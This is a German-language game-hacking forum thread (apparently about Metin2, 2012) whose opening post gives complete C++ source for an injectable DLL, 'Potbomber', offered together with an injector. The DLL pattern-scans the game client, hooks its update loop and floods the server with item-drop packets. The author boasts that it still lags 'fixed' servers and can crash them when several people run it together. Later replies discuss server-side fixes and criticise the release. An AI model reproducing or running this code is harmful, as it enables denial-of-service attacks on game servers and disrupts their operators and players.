[Only registered and activated users can see links. Click Here To Register...]
PHP Code:
#include "stdafx.h" using namespace std;
void (__stdcall* MainFunc)(); bool ScanForOffsets(); DWORD dwFindPattern(DWORD dwAddress,DWORD dwLen,BYTE *bMask,char * szMask); bool bDataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask); void* GetCallDest(void* addr); void Main(); void SendPacket(const unsigned char* packetdata, unsigned long len); void Hook_MainFunc();
DWORD Offset1 = 0; //mainstream DWORD Offset2 = 0; //AddPacketData Function DWORD Offset3 = 0; //AddSignatureByte Function DWORD Offset4 = 0; //Update Function (MainFunc) DWORD Offset5 = 0; //RegisterVid Function int wahl; int potbomby; void potbomb();
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: ScanForOffsets(); MainFunc = (void (__stdcall*)())DetourFunction((PBYTE)Offset4, (PBYTE)Hook_MainFunc); //0x00471F50 CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Main, hModule, 0, NULL); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; }
bool ScanForOffsets() { DWORD Base = 0x00400000; DWORD SizeOfCode;
DWORD i = Base; while ((memcmp((void *)i, "PE\0\0", 4)) && (i <= Base + 0x1000)) i++;
if (i <= Base + 0x1000) SizeOfCode = *(DWORD *)(i + 0x1C);
BYTE Signature1[] = { 0x8B, 0x0D, 0xF4, 0x1C, 0x5F, 0x00, 0x52, 0x50, 0xE8, 0x67, 0x60, 0x00, 0x00, 0xE8, 0x12, 0x7B, 0x12, 0x00, 0x5E};
BYTE Signature2[] = { 0x8B, 0xC1, 0x8B, 0x50, 0x38, 0x8B, 0x48, 0x34, 0x53, 0x8B, 0x5C, 0x24, 0x08, 0x2B, 0xCA, 0x3B, 0xD9};
BYTE Signature3[] = { 0xC2, 0x04, 0x00, 0x8B, 0xCE, 0xE8, 0xB2, 0xCE, 0x0D, 0x00, 0x5E};
BYTE Signature4[] = { 0x83, 0xEC, 0x08, 0x56, 0x8B, 0xF1, 0x8D, 0x44, 0x24, 0x04, 0x50, 0x8D, 0x4C, 0x24, 0x0C, 0x51};
BYTE Signature5[] = { 0x8B, 0x44, 0x24, 0x04, 0x89, 0x81, 0x9C, 0x04, 0x00, 0x00, 0xC2, 0x04, 0x00};
Offset1 = *(DWORD *)(dwFindPattern(Base + 0x1000, SizeOfCode, Signature1, "xx????xxx????x????x") + 2); Offset2 = dwFindPattern(Base + 0x1000, SizeOfCode, Signature2, "xxxxxxxxxxxxxxxxx"); DWORD Offset3_Address = (dwFindPattern(Base + 0x1000, SizeOfCode, Signature3, "xxxxxx????x") + 6); Offset3 = reinterpret_cast<DWORD>(GetCallDest((DWORD *)(Offset3_Address - 1))); Offset4 = dwFindPattern(Base + 0x1000, SizeOfCode, Signature4, "xxxxxxxxxxxxxxxx"); Offset5 = dwFindPattern(Base + 0x1000, SizeOfCode, Signature5, "xxxxxxxxxxxxx") + 4;
if ((Offset1)) return true; else return false; }
void* GetCallDest(void* addr) { unsigned char* callDestAddr = reinterpret_cast<unsigned char*>(addr) + 1;
uintptr_t relativeDest = *reinterpret_cast<uintptr_t *>(callDestAddr); return reinterpret_cast<void*>(uintptr_t(addr) + relativeDest + 5); }
bool bDataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask) { for(;*szMask;++szMask,++pData,++bMask) if(*szMask=='x' && *pData!=*bMask ) return false; return (*szMask) == NULL; }
DWORD dwFindPattern(DWORD dwAddress,DWORD dwLen,BYTE *bMask,char * szMask) { for(DWORD i=0; i < dwLen; i++) if( bDataCompare( (BYTE*)( dwAddress+i ),bMask,szMask) ) return (DWORD)(dwAddress+i); return 0; }
void SendPacket(const unsigned char* packetdata, unsigned long len) { DWORD dwSendFunc = Offset2; DWORD dwAddSignatureByte = Offset3; __asm { PUSH packetdata PUSH len MOV EAX, Offset1 MOV ECX, DWORD PTR DS:[EAX] CALL dwSendFunc MOV EAX, Offset1 MOV ECX, DWORD PTR DS:[EAX] CALL dwAddSignatureByte } }
void Hook_MainFunc() { _asm pushad potbomb(); __asm popad return (*MainFunc)(); }
void OpenConsole() { int hCrtIn, hCrtOut; FILE *conIn, *conOut;
AllocConsole(); hCrtIn = _open_osfhandle ((intptr_t) GetStdHandle(STD_INPUT_HANDLE), _O_TEXT); hCrtOut = _open_osfhandle ((intptr_t) GetStdHandle(STD_OUTPUT_HANDLE), _O_TEXT); conIn = _fdopen( hCrtIn, "r" ); conOut = _fdopen( hCrtOut, "w" ); *stdin = *conIn; *stdout = *conOut;
system("mode 85,35"); system("title Potbomber by .Infinity"); system("color A"); }
void Main() { OpenConsole();
cout << "1 - Start" << endl; cout << "2 - Stop" << endl << endl; cin >> wahl; system("cls");
if(wahl == 1){ potbomby = TRUE; Main(); }
if(wahl == 2){ potbomby = FALSE; Main(); } if(wahl != 1 || 2){ Main(); } }
void potbomb() { if(potbomby == TRUE){ if(TRUE){ unsigned char buf[] = {0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x03, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x05, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x06, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x07, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x08, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x09, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x10, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x11, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x12, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x13, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x14, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x15, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x17, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x18, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x19, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x20, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x21, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x22, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x23, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x24, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x25, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x26, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x27, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x28, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x29, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x30, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x31, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x32, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x33, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x34, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x35, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x36, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x37, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x38, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x39, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x3A, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x3D, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x40, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x41, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x42, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x43, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x44, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x45, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x46, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x47, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x48, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x49, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x4B, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x4D, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x4E, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x50, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x51, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x52, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x53, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x54, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x55, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x56, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x57, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x58, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x59, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } if(TRUE){ unsigned char buf[] = {0x14, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x01}; int size = sizeof(buf); SendPacket(buf, size); delete [] buf; } } }
Der ganze Offset und Pattern Kram kommt von musicinstruktor.
Danke <3
Auf "gefixxten" Servern, kann man mit dem Tool noch ordentliche Laggs hinbekommen und mit mehreren Leuten trotzdem was anrichten..
Im Anhang ist die Hack DLL + Injector.
Einfach die Exe öffnen und der Rest erklärt sich von selbst.
Datein dürfen nicht umbenannt werden.
Der Hard Potbomber lässt das ganze einzelnt Inventar fallen, was fast immer nen Kick gibt, also nicht empfehlenswert.
Der Slow Bomber macht das aus dem Video.
Have FUUUUUUN.
Das Ding ist übrigends schneller und effektiver als der ganze Python Scheiß!
Kind regards,
.Infinity
02/27/2012 23:13
Sanchez.#2
02/27/2012 23:14
lfcmaus#3
selbst die 0815server würden das doch gefixxt bekommen
wenn sie richtig nachdneken ;D
wer keine ahnung hat wie mans wegbekommt und sein server damit betroffen ist setzt sich einfahc mal kurz hin und macht alle gegenstände nurnoch verkaufbar
glaub wertvolle gegenstände etc kannste nicht fallen lassen ....
und wenns probleme mit vollen inventars gibt schriebt man ne quuest wo man die sachen dann umtauschen kann etc ... für die die echt kein plan haben leichteste lösuung
02/27/2012 23:16
.Infinity#4
Fixxen kann man es auf verschiedene Weißen, aber die beinhalten doch irgendwie alle, dass die Funktion eingeschränkt wird. Naja keine Ahnung. Kümmert euch um neue DE Files ^.^ Oder jemand schafft nen guten Fixx
02/27/2012 23:17
.SurPrise#5
Wieder mal Infinity :D Nice, Danke !
02/27/2012 23:30
Ocelot2606#6
Die Fixxes dafür sind längst pub selbst wir auf Fly haben die zeit auf 2 sec eingestellt das sie verschwinden nachdem fallen lassen
02/27/2012 23:31
.Infinity#7
Weiß ich doch nicht. Ich war Ewigkeiten hier nicht mehr in Mt2. Na gut, dann kann ich den Fixx ja rausnehmen.
Außerdem bringt dir der Fixx trotzdem nicht viel ^^ 100% kriegst du mit dem Tool immer noch Laggs hin und wenn man es mit na Gruppe von TS freudigen Menschen macht, sogar nen Down.
02/27/2012 23:34
koraycan123#8
02/27/2012 23:36
.SurPrise#9
Ich kann jetzt schon eine Liste von Servern niederschreiben, die das noch nicht gefixxt haben. Infi kannst du mir noch schnell helfen ?
02/27/2012 23:40
.Infinity#10
Es gibt keinen einzigen Server, der das eingültigt gefixxt hat.
Vielleicht erzählt euch ja einer, wie man DLL Injektion verhindert.
Wäre der beste weg ^^
Ich liege im Bett -> Morgen arbeiten
02/27/2012 23:46
.achi#11
Ok jetzt meine Frage dazu: Was wolltest du damit bezwecken?
02/28/2012 00:00
.Aza'#12
Quote:
Originally Posted by .achi
Ok jetzt meine Frage dazu: Was wolltest du damit bezwecken?
|
Er wollte hilfsbereit sein. Merkt man das nicht? :O
Nettes tool für Kinder die hobbys suchen.
02/28/2012 00:05
Ocelot2606#13
Quote:
Originally Posted by .Infinity
Weiß ich doch nicht. Ich war Ewigkeiten hier nicht mehr in Mt2. Na gut, dann kann ich den Fixx ja rausnehmen.
Außerdem bringt dir der Fixx trotzdem nicht viel ^^ 100% kriegst du mit dem Tool immer noch Laggs hin und wenn man es mit na Gruppe von TS freudigen Menschen macht, sogar nen Down.
|
Ja gut das ist klar und zum Thema endgültigen Fix joar Injektions verhindern wäre was wir versuchens schon mit WinLicense will aber ned so hin hauen wie wir wollen xD
02/28/2012 00:09
#SoNiice#14
Hendrik wie er leibt und lebt :D
02/28/2012 09:32
Lеlouch#15
Danke für das Tool, aber scheiße von dir -.-
|